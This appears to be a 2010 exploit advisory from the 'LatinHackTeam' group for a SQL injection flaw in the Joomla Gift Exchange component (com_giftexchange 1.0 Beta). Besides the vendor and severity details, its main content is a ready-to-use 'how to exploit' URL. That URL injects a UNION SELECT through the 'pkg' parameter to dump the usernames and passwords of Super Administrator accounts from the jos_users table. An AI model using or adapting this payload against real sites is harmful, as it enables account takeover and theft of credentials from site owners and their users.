Joomla! Component Gift Exchange com_giftexchange 1.0 Beta - 'pkg' SQL Injection

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joomla component Gift Exchange com_giftexchange (pkg) Remote Sql Injection
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Author          : Chip D3 Bi0s
Group           : LatinHackTeam
Email & msn     : chipdebios[alt+64]gmail.com
Date            : 20 March 2010
Critical Lvl    : Moderate
Impact	        : Exposure of sensitive information
Where	        : From Remote
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Affected software description:
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Application     : Gift Exchange 
version         : 1.0beta
Developer       : Socialable Studios
Website		: http://extensions.joomla.org/extensions/communities-a-groupware/membership/11680/visit
License         : GPL            type  : Commercial
price		: $25.00 :)
Date Added      : 20 March 2010

Download        : http://socialables.com/index.php?option=com_virtuemart&Itemid=91&category_id=28&flypage=flypage.tpl〈=en&page=shop.product_details&product_id=79&vmcchk=1&Itemid=91

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how to exploit

http://192.168.0.1/index.php?option=com_giftexchange&view=showcase&aj=package&pkg=-1union%20select%201,2,3,4,5,concat_ws(0x3a,username,password)chipD3Bi0s,1,1,1,1,1,1,1,1,1+from+jos_users+where+usertype=0x53757065722041646D696E6973747261746F72+and+0x41646D696E6973747261746F72--


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[!] Produced in South America
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